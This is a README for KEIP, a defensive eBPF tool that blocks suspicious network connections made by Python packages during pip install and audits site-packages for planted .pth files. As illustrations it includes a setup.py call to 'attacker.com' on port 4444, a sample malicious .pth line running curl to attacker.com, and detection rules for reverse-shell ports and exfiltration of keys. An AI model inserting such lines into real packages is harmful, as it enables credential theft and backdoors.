Real-time malware protection for Python package installations using eBPF
Features • How it works • Installation • Usage • Documentation
KEIP sits between pip install and your kernel. It watches every network connection a package makes during installation and kills anything that looks suspicious. No signatures, no databases, just behavior.
If a package tries to phone home on a weird port or talk to a dozen different servers, KEIP shuts it down before it can do any damage.
When you run pip install some-package, that package can run arbitrary code through its setup.py. This is how attackers steal credentials, open backdoors, and exfiltrate data. It happens more often than you'd think.
The tools we have today don't really solve this:
- Static scanners miss obfuscated code (and about half of malicious packages use obfuscation)
- Sandboxes add 2-5 seconds per install, which kills CI/CD performance
- Runtime monitoring only kicks in after installation is done, which is too late
- Signature databases are useless against new attacks
KEIP takes a different approach. It hooks into the kernel using eBPF and enforces security policies during installation, in real time, at a level that can't be bypassed from userspace.
| Feature | Description |
|---|---|
| Kernel-level enforcement | eBPF LSM hooks block threats at the source, can't be bypassed |
| Install-time protection | Targets the install phase, where 56% of supply chain attacks happen |
| Behavioral detection | Watches what packages do, not what they look like |
.pth file detection |
Catches malicious persistence files planted in site-packages |
| No sudo required | Uses Linux capabilities (CAP_BPF) instead of full root access |
| CI/CD ready | Under 50ms overhead, won't slow down your pipeline |
| Low false positives | Legitimate packages (PyPI CDN, GitHub) go through just fine |
| Real-time monitoring | See every connection a package makes as it happens |
| Process termination | Kills the entire process group, not just one connection |
KEIP uses three rules to decide if a package is behaving normally or not.
graph TB
A[Developer: pip install malicious-pkg] --> B[Python spawns child process]
B --> C[setup.py executes]
C --> D[Tries socket.connect on port 4444]
D --> E{KEIP eBPF Hook<br/>socket_connect}
E -->|Port 4444?| F[BLOCKED]
E -->|Port 443?| G[ALLOWED]
F --> H[Kill Process Group]
G --> I[Installation continues]
style F fill:#ff6b6b
style G fill:#51cf66
style E fill:#4dabf7
Legitimate packages only need ports 80, 443, and 53 (HTTP, HTTPS, DNS). If a package tries to connect on port 22 (SSH), 4444 (common reverse shell), 6379 (Redis), or anything else unusual, that's a red flag.
pip install malicious-package
setup.py tries socket.connect("attacker.com", 4444)
KEIP intercepts at kernel level
Process killed, installation stopped
A normal package talks to maybe 2-4 servers during install (PyPI CDN, maybe GitHub). Malware tends to scan or try multiple C2 servers. KEIP blocks any package that contacts more than 5 unique IPs.
Normal packages download a lot and upload very little. Malware does the opposite, it reads your SSH keys and environment variables and sends them somewhere. KEIP will flag any installation where the upload/download ratio looks off.
KEIP no longer requires sudo to run after system-wide installation.
This was a critical improvement for CI/CD pipelines and developer workflows. Requiring root access made KEIP difficult to deploy in automated environments like GitHub Actions, GitLab CI, and Jenkins, where granting sudo to a build step is either impossible or a serious security concern. Developers also avoided using KEIP locally because running security tools with full root privileges felt counterintuitive. By removing the sudo requirement, KEIP can now be dropped into any pipeline or developer machine with zero friction.
To avoid granting global eBPF privileges to the system's python3 binary (which would be a massive security flaw where any python script could load kernel hooks), we introduced a dedicated python binary strategy:
setup.sh: Addedlibcap2-binto install thesetcaptool.install.sh: Creates an isolated copy of Python at/opt/keip/keip-pythonand assigns itcap_bpf,cap_sys_admin,cap_perfmon,cap_dac_read_search=ep.install.sh: The global wrapper/usr/local/bin/keipnow explicitly uses this dedicated binary.run_keip.sh: Edited to look forcap_bpfon the python binary if not run as root.src/keip_pip_monitor.py: Removed the hardcodedos.geteuid() != 0check. If capabilities are missing, the BCC module will fail gracefully on its own.
This means the system's Python stays untouched, and only the KEIP-specific binary gets eBPF privileges.
KEIP was previously blind to .pth file planting, a persistence technique where a malicious package silently drops a file into site-packages that gets executed every time Python starts.
The problem: This .pth fix is for people who use a global environment (don't use venv), and for people who reuse venvs across many projects. A malicious package can drop a .pth file in the site-packages folder (either the global environment or the venv environment), and whenever you run python to execute your code, python will check the site-packages and execute whatever .pth is there even if it is related to your python code or not (even if its related to your imports or not on your script). Since its not a child of pip install, KEIP won't intercept the malicious call.
How we fixed it:
src/pth_audit.py: Created a new module that snapshots all.pthfiles in everysite-packagesdirectory (global + venv) before and after apip install. It compares the snapshots and alerts the user if any new.pthfiles containing executable code (import ...lines) were planted. It also includes a whitelist of known safe.pthfiles (e.g.distutils-precedence.pthfrom setuptools) to avoid false positives.keip install <package>: Wraps pip install with the.pthaudit (before + after snapshot).keip scan: Standalone scanner that checks all existing.pthfiles for executable code at any time.keip python <script>: Safe python wrapper that scans for malicious.pthfiles before running the script. If threats are found, execution is blocked. Supports--forceto override.install.sh: Updated thekeipwrapper to route all new subcommands topth_audit.py.
- Linux with kernel 5.7 or newer (needs LSM BPF support)
- BTF (BPF Type Format) enabled in the kernel
Tested on:
- Debian 12
- Ubuntu 22.04+
- Kali Linux
- Fedora 38+
If you're on a different distro, check your kernel version with uname -r.
git clone https://github.com/Otsmane-Ahmed/KEIP.git
cd KEIP
chmod +x *.sh
./check_compat.sh
sudo ./setup.sh
sudo ./install.shThat's it. Here's what each step does:
./check_compat.sh checks if your kernel and system support eBPF LSM hooks.
sudo ./setup.sh installs dependencies: clang, llvm, bpfcc, kernel headers, and sets up a Python virtual environment.
sudo ./install.sh copies KEIP to /opt/keip and creates a global keip command in /usr/local/bin.
To verify everything is in place:
which keip
# should output: /usr/local/bin/keipKEIP provides multiple commands for different security needs:
| Command | Description |
|---|---|
keip |
Start the real-time eBPF network monitor |
keip install <package> |
Install a package with .pth file auditing |
keip scan |
Scan for malicious .pth files in your environment |
keip python <script> |
Run Python safely with .pth pre-check |
keip --quiet |
Start eBPF monitor in quiet mode (CI/CD) |
keip --help |
Show all options |
If you installed KEIP system-wide via ./install.sh, it uses Linux capabilities (CAP_BPF) to run without sudo.
keipYou should see:
╔═════════════════════════════════════════════════════════╗
║ KEIP v1.0.0 - Kernel-Enforced Install-Time Policies ║
║ eBPF-based Python Package Security Monitor ║
║ ║
║ Author: Otsmane Ahmed ║
║ GitHub: https://github.com/Otsmane-Ahmed/KEIP ║
╚═════════════════════════════════════════════════════════╝
[*] KEIP Monitor Starting...
[*] Behavioral Detection Mode Enabled
[*] Configuration:
- Allowed ports: [80, 443, 53]
- Max unique IPs: 5
- Monitoring: pip, pip3, python, python3
[+] eBPF program compiled
[+] LSM hooks ready
[*] Monitoring active. Press Ctrl+C to stop.
Open another terminal and install something legitimate. KEIP monitors all pip and python processes system-wide, so it doesn't matter if you're using the virtual environment that setup.sh created, your own venv, or installing directly on the system. It will pick it up either way.
pip install requestsKEIP will show:
[ALLOWED] PID 12345 -> 151.101.64.223:443
[ALLOWED] PID 12345 -> 151.101.128.223:443
Normal traffic, normal ports, no problem.
If a package tries something sketchy:
[BLOCKED] PID 12346 -> 203.0.113.45:22
Reason: Suspicious port (not 80/443/53)
[!] Terminating process group 12346...
The package gets killed and the install fails.
Use keip install instead of pip install to audit for malicious .pth file planting:
keip install requestsKEIP will:
- Check all existing
.pthfiles for executable code - Snapshot
.pthfiles before the install - Run
pip installnormally - Snapshot
.pthfiles after the install - Alert you if any new or modified
.pthfiles with executable code were found
[KEIP .pth AUDIT] Scanning site-packages before install...
Monitoring: /usr/lib/python3/dist-packages
Found 3 existing .pth file(s)
[KEIP .pth AUDIT] Checking existing .pth files for executable code...
All existing .pth files are clean.
[KEIP .pth AUDIT] Running pip install...
[KEIP .pth AUDIT] Scanning site-packages after install...
[KEIP .pth AUDIT] No new or modified .pth files detected. All clear.
Run a standalone scan at any time to check your environment:
keip scanIf a malicious .pth file is found:
[KEIP SCAN] Scanning all site-packages for malicious .pth files...
Found 2 .pth file(s)
╔══════════════════════════════════════════════════════════════╗
║ KEIP ALERT: EXISTING MALICIOUS .pth FILE FOUND! ║
╚══════════════════════════════════════════════════════════════╝
File: /home/user/.../site-packages/evil.pth
Executable code found: import os; os.system("curl attacker.com")
WARNING: This file executes silently every time Python starts!
Recommendation: Delete this file immediately with:
rm /home/user/.../site-packages/evil.pth
Use keip python to scan for malicious .pth files before running your script:
keip python myscript.pyIf threats are found, KEIP blocks execution to protect you:
[KEIP] Scanning .pth files before execution...
[KEIP] BLOCKED: Malicious .pth files detected!
Python execution was stopped to protect you.
Delete the malicious files listed above, then try again.
Or run with: keip python --force myscript.py
If all is clean, your script runs normally:
[KEIP] Scanning .pth files before execution...
[KEIP] All .pth files are clean. Launching Python...
hello
For CI/CD pipelines where you don't need the banner and info messages:
keip --quietIf you just want to test it locally:
cd KEIP
source keip-env/bin/activate
# Note: running locally bypasses the system-wide capabilities, so sudo is still required here
sudo ./run_keip.shYou can tweak the detection rules by editing /opt/keip/src/config.json:
{
"behavioral_detection": {
"allowed_ports": [80, 443, 53],
"max_unique_ips": 5,
"max_send_bytes": 20480,
"send_receive_ratio": 0.1
},
"monitoring": {
"process_names": ["pip", "pip3", "python", "python3"]
}
}| Option | What it does | Default |
|---|---|---|
allowed_ports |
Which ports are considered safe | [80, 443, 53] |
max_unique_ips |
How many unique IPs before blocking | 5 |
max_send_bytes |
Max outbound data during install | 20480 (20KB) |
send_receive_ratio |
Max upload-to-download ratio | 0.1 (10%) |
Restart KEIP after making changes.
cd KEIP
sudo ./uninstall.shThis cleans up everything: the global keip command, files in /opt/keip, and the local virtual environment.
To also remove the project directory:
cd ..
rm -rf KEIP/┌─────────────────────────────────────────────────────────┐
│ User space │
│ Developer runs: pip install package │
└────────────────────┬────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ KEIP monitor (Python) │
│ Loads eBPF program, attaches LSM hooks, │
│ processes events from the kernel │
└────────────────────┬────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ Kernel space (eBPF/LSM) │
│ │
│ bprm_check_security │
│ Tracks pip/python process execution │
│ │
│ socket_connect │
│ Intercepts network connections │
│ Checks port, IP count, send/recv ratio │
│ Returns ALLOW or BLOCK (-EPERM) │
└─────────────────────────────────────────────────────────┘
KEIP/
├── src/
│ ├── keip_pip_monitor.py # main eBPF monitor
│ ├── pth_audit.py # .pth file planting detector
│ └── config.json # detection rules
├── check_compat.sh # system check
├── setup.sh # dependency installer
├── install.sh # system-wide installer
├── run_keip.sh # local runner
├── uninstall.sh # clean uninstaller
└── README.md
| Tool | Approach | When it acts | Can it block? | Handles obfuscation? |
|---|---|---|---|---|
| KEIP | Behavioral (eBPF) | During install | Yes | Yes |
| Bandit | Static analysis | Before install | No | No |
| pip-audit | Signature database | Before install | No | No |
| Falco | Runtime monitoring | After install | No | Yes |
| gVisor | Sandboxing | Runtime | Yes | Partially |
| GoLeash | Behavioral (eBPF) | Runtime | Yes | Yes |
Most tools either act too early (static analysis, which misses obfuscation) or too late (runtime monitoring, which means the malware already ran). KEIP sits right at the install step, where over half of supply chain attacks actually happen. And unlike GoLeash, which does something similar for Go, KEIP is built for the Python ecosystem.
"Requirements or Capabilities missing" - The eBPF monitor requires CAP_BPF. If you are running locally without full installation, you must use sudo ./run_keip.sh. The full installation via install.sh handles capabilities automatically, so keip works without sudo.
"LSM BPF not supported" - Your kernel is either too old or doesn't have BPF LSM enabled. Check with:
uname -r # needs to be >= 5.7
cat /sys/kernel/security/lsm # should contain "bpf""bcc module not found" - Run sudo apt install python3-bpfcc or re-run sudo ./setup.sh.
"LSM hook already attached" - A previous KEIP session didn't clean up properly. Kill it with sudo pkill -f keip_pip_monitor or just reboot.
Legitimate package got blocked - Some packages like PyTorch or TensorFlow download from their own CDNs. For now, you'd need to temporarily stop KEIP for those installs. Proper whitelist support is planned.
If you want to help out:
- Found a bug? Open an issue with your system info and the error output
- Have an idea? Suggest new detection rules or whitelist improvements
- Want to code? PRs are welcome for anything from docs to new features
- Have access to malware samples? Test results are always useful
git clone https://github.com/Otsmane-Ahmed/KEIP.git
cd KEIP
sudo ./setup.sh
sudo python3 src/keip_pip_monitor.pyMIT License - see LICENSE for details.
- The eBPF community and the BCC toolkit
- Backstabber's Knife Collection (DIMVA 2020) and GoLeash (2025) research papers
- Everyone who reports and documents Python supply chain attacks
Otsmane Ahmed
GitHub: @Otsmane-Ahmed
Project: github.com/Otsmane-Ahmed/KEIP
If KEIP helped you out, a star on the repo would be appreciated.
Made with love by Otsmane Ahmed
